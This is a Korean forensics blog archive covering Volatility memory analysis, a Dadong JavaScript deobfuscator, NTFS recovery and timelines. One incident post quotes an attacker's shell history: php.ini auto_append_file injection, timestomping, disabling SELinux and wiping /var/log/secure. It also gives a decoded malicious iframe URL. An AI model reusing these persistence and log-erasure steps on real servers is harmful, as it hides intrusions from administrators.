2013/07/30
Volatility Linux Profile - CentOS
작년 9월에 Volatility에서 사용할 리눅스 프로파일을 만드는 방법에 대해서 포스팅한 후 한참을 삽질만 하다가
귀찮아서 관둘까 하는 찰나에 Volatility에서 조만간 리눅스용 프로파일을 만들어서 공개하겠다...라고 해서 기대하고 있었는데
국내 환경에서 가장 많이 사용되는 CentOS는 6.3버전의 64비트 버전 꼴랑 하나만 있더군요..
국내 환경은 CentOS 5.8이 제일 많은데 말이죠..
그들이 만들지 않은 이유가 있지 않을까 생각되면서도 언제까지 기다리고만 있을 순 없어서
삽질의 삽질의 닭질을 거듭 반복한 결과 CentOS 5.7 ~ 6.3까지 프로파일을 만들었습니다. ;-)
프로파일 만드는 방법은 여기를 참조하시면 되고
프로파일을 만들기 위해 필요한 필수 패키지는 다음과 같습니다.
kernel-devel
kernel-headers
elfutils
elfutils-devel
커널 패키지는 현재 설치된 커널과 동일한 패키지를 설치하셔야 하며 여기서 검색해서 사용하시면 됩니다. 배포판이 다르더라도 버전만 맞으면 됩니다.
CentOS는 yum으로 업그레이드를 하면 각각 마지막 배포판 버전(5.9, 6.3)으로 업그레이드 됩니다.
만약 분석할 메모리의 커널 버전이 만들어둔 프로파일의 커널 버전과 일치하지 않을 경우 새롭게 만들어주셔야 합니다.
프로파일은 module.dwarf 파일과 System.map 파일이 필요합니다.
System.map 파일은 조사 대상 서버에서 추출해서 사용하면 되고
module.dwarf 파일은 조사 대상 서버에서 컴파일해서 사용하는게 가장 정확하겠지만
패치버전(2.6.18)까지만 맞으면 정상적으로 동작했었습니다. (RHEL에서 테스트)
위 목록 중 RHEL5의 경우 디폴트는 2.6.18-8.el5 버전이었고 조사 대상은 2.6.18-164.el5PAE 버전이었는데
조사 대상 서버에서는 System.map 파일만 추출해서 가져오고 module.dwarf는 vmware에 설치한 RHEL5에서 컴파일해서 사용했습니다.
즉, 프로파일을 만들기를 원하는 운영체제와 커널 버전이 있다면 직접 설치해서 module.dwarf 파일을 만들어서 가지고 있으면 됩니다.
각각의 패치버전에 대한 프로파일까지 만들고 싶었지만 yum으로 업데이트하면 가장 최신으로만 업데이트가 되기 때문에
중간중간에 있었던 커널 버전에 대한 프로파일을 만들려면.......(상상이 가시나요? ㅜ.ㅜ)
리눅스 서버의 경우 커널 업데이트를 잘 하지 않기 때문에
각 배포판별로 디폴트 커널에 대한 프로파일만 가지고 있어도 무난할 것으로 보입니다.
프로파일은 계속해서 필요할 때마다 만들어 나갈 예정입니다.
Volatility Linux Profile Download by demantos
프로파일 사용에 있어서 문제가 있으시면 언제든지 demantos@gmail.com 으로 메일 보내주시면 감사하겠습니다~!!
2013/06/25
Dadong’s JSXX 0.44 VIP DeObfuscation Code
공다팩이나 다동이나 Gondad에 대한 용어는 다들 잘 아실꺼라 생각하고 생략하겠습니다.
올해 코드게이트에서도 툴 시연이 있었고 발표자료도 공개되어 있습니다.
그리고 dadong으로 난독화되어 있는 코드에 대한 분석글들은 인터넷에 있으니 찾아보시고 참고하시면 되겠습니다.
그나마 지금까지 보아 왔던 분석글들은 중간중간 특정 내용에 대한 설명이 빠져 있어서 이해하는데 좀 애매하게 되어 있었는데요
Kwang Guevara님 블로그 보니 설명이 잘되어 있었습니다.
코드가 허접해도 참아주시기 바랍니다. ;-)
#-*- coding: cp949 -*-
import sys
import re
from struct import *
key = ""
res_filename = ""
obfCode = ""
deobFunc = ""
def splitObfCode() :
global obfCode
global deobFunc
global key
obfList = []
print "[+] Extracing obfuscated code..."
with open(sys.argv[1], 'r') as ef:
for x in ef.readlines():
if re.search("eval.+?unescape.+?[=](\'\")?[0-9A-Fa-f]", x):
for s in range(len(x.split("\""))):
obfList.append(x.split("\"")[s])
print "[+] Extracting deobfuscate function and find divide key"
for x in range(len(obfList)):
if len(obfList[x]) >= 5000:
obfCode = obfList[x]
elif len(obfList[x]) >= 1000 and len(obfList[x]) <= 2000:
deobFunc = obfList[x].replace('\\/', '/').replace('\\\\', '\\')
buf = deobFunc.split(";")
for s in range(len(buf)):
if "%=" in buf[s]:
key = int(buf[s].split("=")[1])
else:
pass
def letsgo(code, func, divkey) :
a = ""
b = 0
c = 0
d = ""
print "[+] Deobfuscate..."
for i in range(0,2):
for t in range(len(func)):
c = ((c&127)<<25) | ((c&4294967168)>>7) + ord(func[t])
c = unpack("l", pack("L", c))[0]
a+="1"
if c < 0:
c = c & 0xffffffff
qq = 1
for t in range(0, len(code), 2):
if t >= 8: # (1<<3)
a = t % 8
else:
a = t
b = int(hex(c)[a+2:a+4], 16)+qq
qq+=1
if re.match('^(\d{4})', str(b+744)):
b = b % divkey
d += chr((int((obfCode[t] + obfCode[t+1]), 16))^b)
rf = open("%s" % res_filename, "w")
rf.write(d)
rf.close()
def main() :
global res_filename
if len(sys.argv) >= 2:
splitObfCode()
res_filename = sys.argv[1].split('.')[0]+"_decode.txt"
letsgo(obfCode, deobFunc, key)
else:
print "Usage: %s dadong_obfuscated_filename" % sys.argv[0]
if __name__ == "__main__" :
main()
2013/03/07
Codegate Forensic 500 문제를 풀기 위해 알아두어야 할 개념
지난주에 Codegate Prequal이 있었는데요..
Forensic 500번 문제가 VBR과 MFT Entry 정보를 통해 이미지 파일을 복구하는 문제였습니다.
어설픈 지식으로 인해 문제를 풀지는 못하였지만 이제라도 알게 되었으니 다행이라 생각되며
잊어버리지 않기 위해 기록해두었습니다.
아래 이미지가 복구해야하는 문제의 그 이미지입니다.
전체적으로 잘 서술된 내용은 링크를 걸어두겠습니다.
Codegate 2013 Forensic 500 by Deok9
그림으로 그려봤습니다. ( 그림으로 그려야 이해가 잘되는 1人입니다. ;-) )
문제의 핵심은 속성의 내용이 너무 커서 MFT Entry에 다 포함시키지 못할 경우 추가적인 클러스터를 할당 받아 저장하는 방식인 Non-resident 속성에 대해서 알고 있냐 없냐 였습니다.
마지막 부분에 있는 22 3D 02 B7 06 22 DF 00 F3 28 22 78 01 56 E4 이 여러 군데 흩어져 있는 파일의 내용에 대한 길이와 오프셋을 나타내고 있습니다. (Cluster Runs 또는 Data Runs)
foremost와 같은 툴을 이용해서 카빙을 하면 첫번째 런리스트에 있는 내용만 카빙이 되어 정상적인 이미지가 보이지 않으며 결국 이 분할된 데이터들을 합쳐서 정상적인 파일을 만드는 것이 문제의 목적이었습니다.
Cluster Runs(Data Runs)에 대한 개념은 아래 링크에서 확인해보시면 잘 이해가 가실겁니다.
(thanks Deok9)
http://www.reddragonfly.org/ntfs/concepts/data_runs.html
추가적으로 참고할 사이트들입니다.
http://www.pc-3000flash.com/eng/help/help_information/ntfs/data_runs.htm
http://www.writeblocked.org/resources/NTFS_CHEAT_SHEETS.pdf
굳이 CTF를 위한 지식이 아닌 포렌식 조사 과정에서 결정적인 증거자료가 될 수 있는 파일들이 분할되어 있을 경우 런리스트에 대한 개념이 잡혀 있다면 파일을 정상적으로 복구해낼 수 있을 것입니다.
2013/01/16
Java Applet JMX 0day Remote Code Execution 취약점(CVE-2013-0422) 분석보고서
2013년도 Impact 강한 취약점으로 시작하였습니다.
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0422
늦은감이 있지만 작성한 분석보고서 공유합니다. (with hyoub9un)
https://docs.google.com/file/d/0BwzSDSFKiUkiai0yZnFZMzlwQmc/edit
잘못된 부분이나 추가할만한 내용 있으시면 메일이나 댓글로 주세요~
2012/11/29
SuperTimeline using log2timeline-sift
사고조사시 중요한 정보 중 하나가 바로 타임라인입니다.
다만, 시스템 여기저기에 흩어져 있는 정보들을 하나하나 수집하면서 타임라인을 작성하는 것은 상당히 귀찮으면서도 혼란스럽습니다. (경험상...)
타임라인 작성에는 log2timeline이라는 툴을 추천해드리며 본 포스팅에서는 SANS SIFT에서 좀 더 보기 좋게(?) 수정한 log2timeline-sift를 소개해드릴까 합니다. 아울러 log2timeline-sift의 결과 파일을 가지고 분석을 위해 정렬을 하였는데 제가 원하는대로 정렬이 되지 않아 log2timeline-sift의 결과 파일을 수정하는 방법에 대해서 말씀드리고자 합니다.
Digital Forensics SIFT'ing: Cheating Timelines with log2timeline
http://computer-forensics.sans.org/blog/2011/12/16/digital-forensics-sifting-cheating-timelines-with-log2timeline
Digital Forensic SIFTing: Colorized Super Timeline Template for Log2timeline Output Files
http://computer-forensics.sans.org/blog/2012/01/25/digital-forensic-sifting-colorized-super-timeline-template-for-log2timeline-output-files
Spluk를 이용한 Supertimeline 작성에 관한 글도 있는데요..
원본과 함께 Forensic Insight 멤버인 도루묵군이 작성한 문서도 소개해드리겠습니다. ;)
Forensic timeline Splunking
http://kleinco.com.au/thoughts-events/item/forensic-timeline-splunking
Forensic Insight Weekly Seminar Slides - Supertimeline+Splunk by dorumugs
http://forensicinsight.org/archives/912
log2timeline을 통해 타임라인 작성시 다음과 같이 csv 파일로 결과를 확인하실 수 있습니다.
보시는 바와 같이 그닥 보기 좋은 형태는 아닙니다.
FileName 컬럼의 데이터들이 분리되어 표시되면 좋을텐데 한꺼번에 들어가 있는 점이나 날짜(Date)가 정렬이 귀찮은 형태로 되어 있습니다. (제가 엑셀 기술이 부족하여 그럴지도 모르겠지만요..)
아무튼 이런한 점을 SANS SIFT에 포함된 log2timeline-sift가 보완해주었습니다.
다음 그림은 log2timeline-sift를 통해 추출한 파일입니다.
다만, log2timeline-sift 실행시 다음과 같은 에러가 발생하였습니다.
root@SIFT-Workstation:/mnt/hgfs/E# log2timeline-sift -p 0 -i win2k3.dd
[LOG2TIMELINE-SIFT] MFT directly callable, no need for special parsing.
[PreProcessing] Unable to determine the default browser for user qwer
[PreProcessing] Unable to determine the default browser for user networkservice
[PreProcessing] Unable to determine the default browser for user hacker2
[PreProcessing] Unable to determine the default browser for user administrator
[PreProcessing] Unable to determine the default browser for user hacker
[PreProcessing] Unable to determine the default browser for user default user
[PreProcessing] Unable to determine the default browser for user malwarel4b
[PreProcessing] Unable to determine the default browser for user guest
[PreProcessing] Unable to determine the default browser for user localservice
[PreProcessing] Hostname is set to WIN2K3
Wide character in print at /usr/share/perl5/Log2t/PreProc/win_sysinfo.pm line 172.
[PreProcessing] The timezone according to registry is: (대한민국표준시) 대한민국 표준시
[PreProcessing] The timezone settings are NOT overwritten so the settings might have to be adjusted.
[PreProcessing] The default system browser is: : IEXPLORE.EXE ("C:\Program Files\Internet Explorer\iexplore.exe" -nohome)
Local timezone is: Asia/Seoul (KST)
Local timezone is: Asia/Seoul (KST)
Loading output module: csv
Wide character in print at /usr/bin/log2timeline-sift line 400.
Wide character in print at /usr/bin/log2timeline-sift line 400.
Wide character in print at /usr/bin/log2timeline-sift line 400.
Wide character in print at /usr/bin/log2timeline-sift line 400.
Wide character in print at /usr/bin/log2timeline-sift line 400.
Wide character in print at /usr/bin/log2timeline-sift line 400.
Wide character in print at /usr/bin/log2timeline-sift line 400.
Wide character in print at /usr/bin/log2timeline-sift line 400.
Wide character in print at /usr/bin/log2timeline-sift line 400.
Wide character in print at /usr/bin/log2timeline-sift line 400.
...(snip)...
해당 에러는 유니코드 처리시 발생되는 에러로 log2timeline-sift의 일부 코드를 수정하면 됩니다.
# create the timeline file // 이부분을 아래와 같이 수정
open( TF, '>' . $store_point . '/' . $file_name . '_bodyfile.txt' ) or die( 'Unable to create the bodyfile ' . $store_point . '/' . $file_name . '_bodyfile.txt, not enough ac cess rights?');
# create the timeline file // 이렇게...
my $ofile = $store_point . '/' . $file_name . '_bodyfile.txt';
open( TF, ">:utf8", $ofile) or die( 'Unable to create the bodyfile ' . $store_point . '/' . $file_name . '_bodyfile.txt, not enough access rights?');
log2timeline-sift의 결과 파일은 아래와 같은 형태를 띄고 있습니다.
root@SIFT-Workstation:/cases/timeline-output-folder# head win2k3_bodyfile.txt
date,time,timezone,MACB,source,sourcetype,type,user,host,short,desc,version,filename,inode,notes,format,extra
05/14/2009,19:43:54,KST,MACB,FILE,NTFS $MFT,$SI [MACB] time,-,WIN2K3,C:/$MFT,C:/$MFT,2,C:/$MFT,0, ,Log2t::input::mft,-
05/14/2009,19:43:54,KST,MACB,FILE,NTFS $MFT,$SI [MACB] time,-,WIN2K3,C:/$MFTMirr,C:/$MFTMirr,2,C:/$MFTMirr,1, ,Log2t::input::mft,-
05/14/2009,19:43:54,KST,MACB,FILE,NTFS $MFT,$SI [MACB] time,-,WIN2K3,C:/$LogFile,C:/$LogFile,2,C:/$LogFile,2, ,Log2t::input::mft,-
05/14/2009,19:43:54,KST,MACB,FILE,NTFS $MFT,$SI [MACB] time,-,WIN2K3,C:/$Volume,C:/$Volume,2,C:/$Volume,3, ,Log2t::input::mft,-
05/14/2009,19:43:54,KST,MACB,FILE,NTFS $MFT,$SI [MACB] time,-,WIN2K3,C:/$AttrDef,C:/$AttrDef,2,C:/$AttrDef,4, ,Log2t::input::mft,-
05/14/2009,19:43:54,KST,...B,FILE,NTFS $MFT,$SI [...B] time,-,WIN2K3,C:/.,C:/.,2,C:/.,5, ,Log2t::input::mft,-
04/17/2012,18:07:32,KST,.A..,FILE,NTFS $MFT,$SI [.A..] time,-,WIN2K3,C:/.,C:/.,2,C:/.,5, ,Log2t::input::mft,-
04/17/2012,15:13:02,KST,M.C.,FILE,NTFS $MFT,$SI [M.C.] time,-,WIN2K3,C:/.,C:/.,2,C:/.,5, ,Log2t::input::mft,-
05/14/2009,19:43:54,KST,MACB,FILE,NTFS $MFT,$SI [MACB] time,-,WIN2K3,C:/$Bitmap,C:/$Bitmap,2,C:/$Bitmap,6, ,Log2t::input::mft,-
여기서 한가지 더 해결해야 할 문제는 mm/dd/yyyy 형태의 날짜 형식을 yyyy-mm-dd로 변경하는 것이었습니다. 기본 형태인 mm/dd/yyyy를 가지고 정렬하였더니 시간순서가 원하는대로 나오지 않아 불편하여 변경하게 되었습니다. 방법은 아주 간단합니다.
# sed -n '1p' win2k3_bodyfile.txt > win2k3_bodyfile_convert.csv
# sed -n -e '/KST/ s/\([0-9]*\)\/\([0-9]*\)\/\([0-9]*\)/\3-\1-\2/p;' win2k3_bodyfile.txt >> win2k3_bodyfile_convert.csv
단순히 보여주기식의 알록달록함이 아니라는 것으 명심하시고 보셔야 합니다.
자칫 그냥 넘어가 버릴 수 있는 중요한 정보들에 대해서 색깔로 구분해서 놓치지 말라는 의미인 것이죠.
2012/09/25
Volatility 2.2 RC2 - Linux Profile 생성
몇일전 Volatility 2.2 RC2부터 Linux 메모리 덤프를 지원한다는 글을 접하게 되었습니다.
http://www.infosecisland.com/blogview/22406-Analyzing-the-Average-Coder-Rootkit-Bash-History-and-Elevated-Processes-with-Volatility.html
2.2 RC2부터 지원하는 내용은 아래 링크에서 확인하실 수 있으며
http://code.google.com/p/volatility/wiki/Release22
Linux 메모리 덤프를 분석하기 위해서는 profile을 만들어줘야 합니다.
(무식하게 첫번째 링크를 그냥 따라해 봤지만 역시나 안되더군요...혹시나 하는 마음에 -_-;;)
http://code.google.com/p/volatility/wiki/LinuxMemoryForensics
1. 필요한 패키지 설치
- dwarfdump
Debian/Ubuntu 계열에서 dwarfdump를 설치하시면 되고
OpenSuSE, Fedora 그리고 그 외 배포판에서는 libdwarf-tools를 설치하시면 됩니다.
- GCC/make
대부분 설치되어 있으실 것이고 Debian/Ubuntu 계열에서는 build-essential을 설치하시면 됩니다.
(build-essential을 꼭 설치해야 하는지 확인 안했습니다.)
- kernel-devel
커널 모듈 빌드를 위한 헤더 파일들이 필요합니다.
2. Volatility Source 다운로드
http://code.google.com/p/volatility/downloads/list
다운로드 하시면 됩니다. 또는 svn으로 받으셔도 됩니다.
# svn checkout http://volatility.googlecode.com/svn/trunk/ volatility-read-only
3. profile 생성
리눅스용 프로파일은 커널 데이터 구조와 디버그 심볼로 이루어진 압축 파일 형태로 만들면 됩니다.
이는 Volatility가 커널 데이터 구조와 디버그 심볼을 통해 필요한 정보를 찾고 해석하기 때문입니다.
앞으로 대부분의 리눅스 커널에 대한 프로파일을 제공한다고 하는데요...일단은 필요한거 만들어서 쓰랍니다.
- vtypes 생성
# cd volatility-2.2-rc2/tools/linux
# make
# head module.dwarf
vtypes 생성은 위 명령만 실행하면 됩니다만...
약간의 에러가 발생할 수 있으니 에러 메시지 잘 보시고 필요한 헤더 파일을 필요한 위치에 복사하시거나 링크를 걸면 됩니다.
테스트는 Ubuntu 11.10에서 했습니다.
- Symbols 가져오기
심볼은 System.map 파일 안에 있으며 /boot 디렉토리에 있습니다.
- profile 만들기
# cd volatility-2.2-rc2
# zip volatility/plugins/overlays/linux/LinuxUbuntu1110.zip tools/linux/module.dwarf /boot/System.map-3.0.0-20-generic
adding: tools/linux/module.dwarf (deflated 89%)
adding: boot/System.map-3.0.0-20-generic (deflated 74%)
리눅스용 프로파일은 make시 생성된 dwarf 파일과 심볼 정보를 가지고 있는 System.map 파일을 zip 파일 형태로 압축하면 됩니다.
root@LUCKYSTRIKE:/data/forensics/volatility-2.2-rc2# ls -l volatility/plugins/overlays/
total 732
-rw-r--r-- 1 demantos demantos 8527 2012-09-05 02:29 basic.py
-rw-r--r-- 1 root root 11703 2012-09-24 13:40 basic.pyc
-rw-r--r-- 1 demantos demantos 0 2012-06-04 03:04 __init__.py
-rw-r--r-- 1 root root 161 2012-09-24 13:40 __init__.pyc
drwxr-xr-x 2 demantos demantos 4096 2012-09-24 13:40 linux
-rw-r--r-- 1 demantos demantos 838 2012-09-05 02:19 native_types.py
-rw-r--r-- 1 root root 769 2012-09-24 13:40 native_types.pyc
-rw-r--r-- 1 root root 702084 2012-09-24 17:41 Ubuntu1110.zip
drwxr-xr-x 2 demantos demantos 4096 2012-09-24 13:40 windows
프로파일 생성 및 사용 가능 여부는 --info 옵션을 통해서 확인 가능합니다.
리눅스용 플러그인은 다음과 같이 linux_ 라는 명칭으로 시작되게끔 명명되어 있습니다.
덤프된 이미지를 통해 확인해 보았습니다. 덤프 이미지는 fmem을 통해 덤프한 이미지를 이용했습니다.
아직 많은 플러그인들을 지원하진 않지만 필요한 경우 유용하게 사용할 수 있지 않을까 생각됩니다.
1차적인 테스트는 끝났으니 실제 루트킷 설치나 침해서버를 만든 후 이미지 덤프해서 분석 해봐야겠습니다.
2012/05/14
Volatility를 이용한 Windows 2003 메모리 덤프 분석
요즘은 침해사고조사시 메모리 덤프를 뜨는 경우가 많습니다. 디스크 이미징에 비해 용량은 작지만 생각보다 많은 정보들을 가지고 있기 때문이죠.. 물론 침해사고 인지 후 시스템을 끄거나 재부팅을 하지 않을 상태여야만 많은 정보들을 획득할 수가 있습니다.
이런 메모리 덤프 이미지를 분석할때 가장 많이 쓰이는게 Volatility가 아닐까 생각됩니다.
그리고 현재 가장 많이 쓰이는 윈도우 서버는 Windows 2003 Server일 것이구요..
얼마전까지 Volatility에서 Windows 2003 메모리 덤프는 분석이 안된다...상용으로 구매해야 분석이 된다...라고 알고 있었습니다. (아직도 공부해야 할게 많다는 결론이...)
Volatility를 이용해서 덤프된 메모리를 분석하기 위해 명령 실행시 아래와 같은 메시지를 접하게 되었습니다.
root@LUCKYSTRIKE:/mem_dump# python /data/forensics/volatility_2.1_alpha/vol.py pslist -f memdump.mem
Volatile Systems Volatility Framework 2.1_alpha
No suitable address space mapping found
Tried to open image as:
WindowsHiberFileSpace32: No base Address Space
WindowsCrashDumpSpace32: No base Address Space
AMD64PagedMemory: No base Address Space
JKIA32PagedMemory: No base Address Space
IA32PagedMemoryPae: Module disabled
JKIA32PagedMemoryPae: No base Address Space
IA32PagedMemory: Module disabled
WindowsHiberFileSpace32: No xpress signature found
WindowsCrashDumpSpace32: Header signature invalid
AMD64PagedMemory: Incompatible profile WinXPSP2x86 selected
JKIA32PagedMemory: No valid DTB found
IA32PagedMemoryPae: Module disabled
JKIA32PagedMemoryPae: No valid DTB found
IA32PagedMemory: Module disabled
FileAddressSpace: Must be first Address Space
저와 같은 경험이 있으신 분들이 계실거라 생각됩니다. 덤프된 이미지를 제대로 인식하지 못해서 발생되는 현상입니다. 이런 경우 다음 절차를 통해 분석을 진행하실 수 있습니다.
먼저, Volatility의 imageinfo 플러그인으로 이미지 파일을 확인합니다.
root@LUCKYSTRIKE:/mem_dump# python /data/forensics/volatility_2.1_alpha/vol.py imageinfo -f memdump.mem
Volatile Systems Volatility Framework 2.1_alpha
Determining profile based on KDBG search...
Suggested Profile(s) : Win2003SP0x86, Win2003SP1x86, Win2003SP2x86
AS Layer1 : JKIA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/mem_dump/memdump.mem)
PAE type : PAE
DTB : 0x3ad000
KDBG : 0x808943e0L
KPCR : 0xffdff000L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2012-04-30 02:22:27 UTC+0000
Image local date and time : 2012-04-30 11:22:27 +0900
Number of Processors : 4
Image Type : Service Pack 2
Windows2003 SP2 x86버전의 메모리라고 이야기해줍니다.
--profile 옵션을 통해 다시 분석을 진행합니다.
root@LUCKYSTRIKE:/mem_dump# python /data/forensics/volatility_2.1_alpha/vol.py -f memdump.mem --profile=Win2003SP2x86 pslist
Volatile Systems Volatility Framework 2.1_alpha
Offset(V) Name PID PPID Thds Hnds Time
---------- -------------------- ------ ------ ------ ------ -------------------
0x89f889b0 System 4 0 83 3244 1970-01-01 00:00:00
0x89bfa100 smss.exe 300 4 3 19 2012-04-30 02:06:46
0x89bd3d88 csrss.exe 348 300 14 728 2012-04-30 02:06:48
0x89cb2bc8 winlogon.exe 376 300 20 489 2012-04-30 02:06:49
0x89c53450 services.exe 424 376 17 454 2012-04-30 02:06:50
0x89b865a8 lsass.exe 436 376 30 583 2012-04-30 02:06:51
0x89c52868 svchost.exe 588 424 6 101 2012-04-30 02:06:53
0x88a5d660 svchost.exe 672 424 11 264 2012-04-30 02:06:54
0x88a3fa20 svchost.exe 744 424 9 150 2012-04-30 02:06:54
0x88a37020 svchost.exe 760 424 12 147 2012-04-30 02:06:54
0x88a32978 svchost.exe 796 424 63 1078 2012-04-30 02:06:54
0x88a22458 spoolsv.exe 912 424 12 135 2012-04-30 02:06:55
0x88a118a8 msdtc.exe 936 424 15 183 2012-04-30 02:06:55
0x889fd6a0 acaas.exe 1076 424 29 467 2012-04-30 02:06:56
0x889f9418 v3clnsrv.exe 1088 424 3 70 2012-04-30 02:06:56
0x889ed500 acaegmgr.exe 1116 424 2 41 2012-04-30 02:06:57
0x889d3568 acais.exe 1136 424 9 94 2012-04-30 02:06:57
0x889d1d48 AhnSDsv.exe 1152 424 2 46 2012-04-30 02:06:57
0x889e9bc8 AYServiceNT.aye 1172 424 10 168 2012-04-30 02:06:57
0x889d7608 DuzonFileServer 1212 424 4 278 2012-04-30 02:07:02
0x8899c3c8 DuzonMessenger. 1296 424 2 1083 2012-04-30 02:07:05
0x888e6020 svchost.exe 1320 424 2 79 2012-04-30 02:07:05
0x888e1500 inetinfo.exe 1396 424 8 176 2012-04-30 02:07:06
0x888bf360 msftesql.exe 1456 424 6 412 2012-04-30 02:07:07
0x888b7708 sqlservr.exe 1492 424 47 570 2012-04-30 02:07:07
0x886c9020 msmdsrv.exe 1516 424 19 642 2012-04-30 02:07:07
0x886bd330 NeoBizMail_POP. 1560 424 11 208 2012-04-30 02:07:08
0x883f8d88 NeoBizMail_SMTP 1660 424 12 315 2012-04-30 02:07:08
0x883ced88 NeoBiz_Admin.ex 1700 424 6 127 2012-04-30 02:07:09
0x88388d88 svchost.exe 1840 424 2 52 2012-04-30 02:07:10
0x886b57a0 ReportingServic 1856 424 25 531 2012-04-30 02:07:10
0x88349020 sqlwriter.exe 1996 424 3 93 2012-04-30 02:07:12
0x88335770 wmiapsrv.exe 2140 424 6 182 2012-04-30 02:07:13
0x882c2020 svchost.exe 2316 424 15 167 2012-04-30 02:07:17
0x8820ed88 SQLAGENT90.EXE 2504 424 13 420 2012-04-30 02:07:22
0x88208b90 wmiprvse.exe 2548 588 5 177 2012-04-30 02:07:24
0x882b55e8 svchost.exe 2772 424 20 172 2012-04-30 02:07:36
0x8814a020 alg.exe 2960 424 5 94 2012-04-30 02:07:38
0x8812f020 explorer.exe 3116 3084 11 456 2012-04-30 02:07:40
0x888b3b18 ClamTray.exe 3476 3116 4 94 2012-04-30 02:07:54
0x88397d88 acasp.exe 3512 3116 9 225 2012-04-30 02:07:55
0x88385b80 AhnSD.exe 3536 3116 1 58 2012-04-30 02:07:55
0x88372790 ctfmon.exe 3568 3116 1 92 2012-04-30 02:07:56
0x882ae9d8 AYAgent.aye 3660 3532 10 184 2012-04-30 02:08:02
0x889dd020 svchost.exe 3956 424 17 238 2012-04-30 02:12:02
0x889ec2a0 afmain.exe 2740 3512 2 174 2012-04-30 02:13:37
0x880eeb60 wmiprvse.exe 1100 588 8 145 2012-04-30 02:19:24
0x89dd2020 conime.exe 3500 3324 2 61 2012-04-30 02:20:52
0x880ee658 FTK Imager.exe 3784 3116 9 335 2012-04-30 02:21:43
프로파일을 지정하니 프로세스 목록이 제대로 보입니다.
네트워크 커넥션도 확인해봤습니다.
root@LUCKYSTRIKE:/mem_dump# python /data/forensics/volatility_2.1_alpha/vol.py -f memdump.mem --profile=Win2003SP2x86 connscan
Volatile Systems Volatility Framework 2.1_alpha
Offset(P) Local Address Remote Address Pid
---------- ------------------------- ------------------------- ------
0x08136c68 127.0.0.1:1433 127.0.0.1:1056 1492
0x08136e38 127.0.0.1:1056 127.0.0.1:1433 1660
0x0815fa10 127.0.0.1:1057 127.0.0.1:1433 1660
0x08262e38 127.0.0.1:1433 127.0.0.1:1053 1492
0x0826d360 127.0.0.1:1050 127.0.0.1:1433 1856
0x08273ab8 127.0.0.1:1046 127.0.0.1:1433 1856
0x08273cc8 127.0.0.1:1433 127.0.0.1:1051 1492
0x08277e38 127.0.0.1:1047 127.0.0.1:1433 1560
0x08279008 127.0.0.1:1044 127.0.0.1:1433 1560
0x0827b680 127.0.0.1:1043 127.0.0.1:1433 1856
0x082d3a78 127.0.0.1:1053 127.0.0.1:1433 1560
0x08301440 127.0.0.1:1036 127.0.0.1:1433 1560
0x0830c818 127.0.0.1:1042 127.0.0.1:1433 1660
0x0832b270 127.0.0.1:1048 127.0.0.1:1433 1660
0x0832b648 127.0.0.1:1045 127.0.0.1:1433 1660
0x08356da0 127.0.0.1:1039 127.0.0.1:1433 1660
0x08370c30 127.0.0.1:1035 127.0.0.1:1433 1660
0x08395e38 127.0.0.1:1433 127.0.0.1:1055 1492
0x0839f900 127.0.0.1:1055 127.0.0.1:1433 1660
0x088e27b8 127.0.0.1:1433 127.0.0.1:1057 1492
0x089cd380 0.0.0.0:1061 211.233.80.46:80 808
0x09ccd5c8 0.0.0.0:0 0.0.0.0:0 0
Windows 2003 서버의 모메리 분석 전에 imageinfo 플러그인으로 꼭 확인하셔야하며 이미지 정보 확인 후 Volatility 명령 실행시에도 --profile 옵션을 주셔서 명령을 실행하셔야 합니다. 모든 플러그인을 확인해보진 않았지만 일부 플러그인은 --profile 옵션을 주지 않아도 실행이 되지만 일부 플러그인은 실행이 되지 않았습니다.
간단하게 프로세스 관련 플러그인과 네트워크 관련 플러그인 확인해보니 네트워크 관련 플러그인(sockscan, connections, connscan 등)은 --profile 옵션 없이 명령이 잘 실행되었지만 프로세스 관련 플러그인(pslist, pstree 등)은 --profile 옵션 없이 명령이 실행되지 않았습니다.
대부분 스크립트 작성해서 하실테니 --profile 옵션을 사용하시는게 그리 불편하진 않으실겁니다.
스크립트 작성시에는 아래 SANS의 Memory Forensics Cheat Sheet을 활용하시면 되겠습니다.
물론 -h 옵션을 통해 확인되는 플러그인들을 하나씩 모두 테스트해보셔서 분석시 자신이 필요한 플러그인을 찾아내시는 것도 좋은 방법이라 생각됩니다.
thanks to n0fate ;-)
2012/04/29
PHP auto_append_file을 이용한 악성 스크립트 삽입 공격
PHP 설정 파일인 php.ini를 보면 다음과 같은 항목들이 있습니다.
; Automatically add files before PHP document.
; http://php.net/auto-prepend-file
auto_prepend_file =
; Automatically add files after PHP document.
; http://php.net/auto-append-file
auto_append_file =
php 엔진이 파싱을 하는 파일(보통 .php 파일) 호출시 자동으로 추가할 파일을 지정하는 옵션입니다.
악성스크립트가 삽입되 확인해보니 삽입된 걸로 확인된 파일에는 정작 스크립트가 없었습니다.
한참을 헤매다가 .bash_history에서 다음과 같은 내용을 찾았습니다.
sed -i "/auto_append_file/d" php.ini
sed -i "s/; Language/\nauto_append_file = \/var\/local\/phplock.pid\n; Language/" php.ini
touch -r /etc/hosts php.ini
echo -e "\x0A\x3C\x3F\x69\x66\x28\x73\x74\x72\x73\x74\x72\x28\x24\x5F\x53\x45\x52\x56\x45\x52\x5B\x27......\x6B\x37\x66\x51\x3D\x3D\x22\x29\x3B\x7D\x20\x3F\x3E\x0A" > /var/local/phplock.pid
chmod 644 /var/local/phplock.pid
setenforce 0
/home/www/bin/apachectl restart
cat /dev/null > /var/log/secure
sed를 이용해서 auto_append_file 옵션을 지운 후에 다시 추가하고 있습니다.
/var/local/phplock.pid 파일에는 추가한 내용은 악성스크립트 URL을 난독화한 내용이었습니다.
난독화된 내용을 풀어보면 다음과 같습니다.
<iframe src=http://www.richfs.com/as/qvx.html width=111 height=1 frameborder=0</iframe>
현재 해당 파일에는 접근이 되지 않고 있습니다.
아래는 auto_append_file과 auto_prepend_file에 대한 테스트 결과입니다.
php.ini 파일의 무결성을 검사하는 스크립트를 만들어서 변경시 확인할 수 있도록 해야할 듯 합니다.
일반적으로 php.ini는 한번 설정하면 거의 바꾸지 않는걸로 알고 있습니다만
만약 수정을 한다해도 관리자가 수행하는 것이기 때문에 파일 내용에 변경이 발생하면
어떤 내용이 바뀌었는지 확인할 수 있는 스크립트를 만들어서 확인하는 것이 좋겠습니다.
2012/04/25
백도어가 숨겨진 HTTPD 발견
